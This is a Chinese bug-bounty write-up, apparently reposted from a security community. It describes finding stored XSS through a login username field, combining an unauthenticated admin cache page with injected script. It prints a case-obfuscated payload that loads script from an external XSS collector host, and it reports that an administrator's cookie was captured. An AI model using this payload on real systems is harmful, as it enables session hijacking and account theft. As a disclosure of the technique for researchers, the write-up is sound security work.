挖洞经验 诡异位置的存储XSS

一、内容介绍

登陆框处的存储XSS 高 ¥3000

二、挖掘过程

利用 未授权访问 + XSS Payload = 存储XSS

三、案例

之前在一次项目中,遇到了一个后台,此后台有账号密码,验证码等相关登陆功能,尝试弱口令等常规操作后发现没有收获,于是分析了JS。

经过分析JS后发现/index.html对应是后台地址,并且可以直接访问,访问后就如下图

可以看到只有两个功能,缓存设置和修改密码

测试修改密码功能失效,未遂

重点放在缓存设置,很幸运缓存设置没有做权限校验,可以看到当前程序请求缓存,于是乎就有了此文

于是在众多缓存中发现了我刚开始登陆的账号缓存信息,如果是错误会返回如上图ErrorXXXX_用户名的信息,最后是用户名。

于是鬼点子就来了,存储XSS!!!前台登陆处用户名使用此代码,用了一个大小写混淆的XSS

payload:

“`

admin)”><sCRiPt sRC=http://xss.xxxxxx></sCrIpT>

“`

此时模仿管理后台人员登陆,点击缓存查看后

XSS后台收到cookie。

四、技术总结

1、细心观察遇到如下图所示的网站,不要直接就放弃。

2、通过前台登陆用户名处的XSS我也是第一次遇到,推荐白帽子们要勇于尝试,发挥想象力。

最后看完文章的小伙伴觉得有收获记得点个赞+评论,感谢大家的支持让我白嫖火线。


本文迁移自知识星球“火线Zone”

文字来源于- 火线 Zone-云安全社区,安全小天地只做文章分享,如有侵权,请联系站长删除


「渗透云记」公众号里主要记录我每天的所思所想,我会坚持更新质量不错的文章,感兴趣的小伙伴可以扫描下方二维码,谢谢支持! 安全小天地 - 公众号 - 渗透云记
© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容